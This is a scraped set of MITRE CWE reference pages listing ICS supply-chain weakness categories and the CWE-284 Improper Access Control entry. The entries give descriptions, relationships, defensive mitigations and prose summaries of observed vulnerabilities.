HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1260] Thu T. Pham. "The Great DNS Vulnerability of 2008 by Dan Kaminsky". 2016-04-26. <https://duo.com/blog/the-great-dns-vulnerability-of-2008-by-dan-kaminsky>.
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Common Mode Frailties. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
2023-04-26 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Supply Chain: IT/OT Convergence/Expansion

Category ID: 1369
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "IT/OT Convergence/Expansion" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The increased penetration of DER devices and smart loads make emerging ICS networks more like IT networks and thus susceptible to vulnerabilities similar to those of IT networks." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1361 ICS Supply Chain
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 636 Not Failing Securely ('Failing Open')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". IT/OT Convergence/Expansion. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Supply Chain: OT Counterfeit and Malicious Corruption

Category ID: 1372
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "OT Counterfeit and Malicious Corruption" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "In ICS, when this procurement process results in a vulnerability or component damage, it can have grid impacts or cause physical harm." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1361 ICS Supply Chain
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1198 Privilege Separation and Access Control Issues
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1231 Improper Prevention of Lock Bit Modification
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1233 Security-Sensitive Hardware Controls with Missing Lock Bit Protection
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1278 Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". OT Counterfeit and Malicious Corruption. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Supply Chain: Poorly Documented or Undocumented Features

Category ID: 1371
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Poorly Documented or Undocumented Features" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Undocumented capabilities and configurations pose a risk by not having a clear understanding of what the device is specifically supposed to do and only do. Therefore possibly opening up the attack surface and vulnerabilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1361 ICS Supply Chain
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 489 Active Debug Code
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 912 Hidden Functionality
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1242 Inclusion of Undocumented Features or Chicken Bits
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Poorly Documented or Undocumented Features. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE-284: Improper Access Control

Weakness ID: 284
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
+ Extended Description

Access control involves the use of several protection mechanisms such as:

  • Authentication (proving the identity of an actor)
  • Authorization (ensuring that a given actor can access a resource), and
  • Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

  • Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
  • Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.
+ Alternate Terms
Authorization
The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1000 Research Concepts
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 282 Improper Ownership Management
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 286 Incorrect User Management
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 749 Exposed Dangerous Method or Function
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 923 Improper Restriction of Communication Channel to Intended Endpoints
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1191 On-Chip Debug and Test Interface With Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1220 Insufficient Granularity of Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1224 Improper Restriction of Write-Once Bit Fields
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1231 Improper Prevention of Lock Bit Modification
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1233 Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1252 CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1257 Improper Access Control Applied to Mirrored or Aliased Memory Regions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1259 Improper Restriction of Security Token Assignment
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1260 Improper Handling of Overlap Between Protected Memory Ranges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1262 Improper Access Control for Register Interface
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1263 Improper Physical Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1267 Policy Uses Obsolete Encoding
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1268 Policy Privileges are not Assigned Consistently Between Control and Data Agents
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1270 Generation of Incorrect Security Tokens
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1274 Improper Access Control for Volatile Memory Containing Boot Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1276 Hardware Child Block Incorrectly Connected to Parent System
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1280 Access Control Check Implemented After Asset is Accessed
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1283 Mutable Attestation or Measurement Reporting Data
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1290 Incorrect Decoding of Security Identifiers
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1292 Incorrect Conversion of Security Identifiers
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1294 Insecure Security Identifier Mechanism
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1296 Incorrect Chaining or Granularity of Debug Components
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1304 Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1311 Improper Translation of Security Attributes by Fabric Bridge
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1312 Missing Protection for Mirrored Regions in On-Chip Fabric Firewall
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1313 Hardware Allows Activation of Test or Debug Logic at Runtime
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1315 Improper Setting of Bus Controlling Capability in Fabric End-point
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1316 Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1317 Improper Access Control in Fabric Bridge
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1320 Improper Protection for Outbound Error Messages and Alert Signals
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1323 Improper Management of Sensitive Trace Data
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1334 Unauthorized Error Injection Can Degrade Hardware Redundancy
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 288 Authentication Bypass Using an Alternate Path or Channel
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 639 Authorization Bypass Through User-Controlled Key
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A form hosting website only checks the session authentication status for a single form, making it possible to bypass authentication when there are multiple forms
Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 944 SFP Secondary Cluster: Access Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
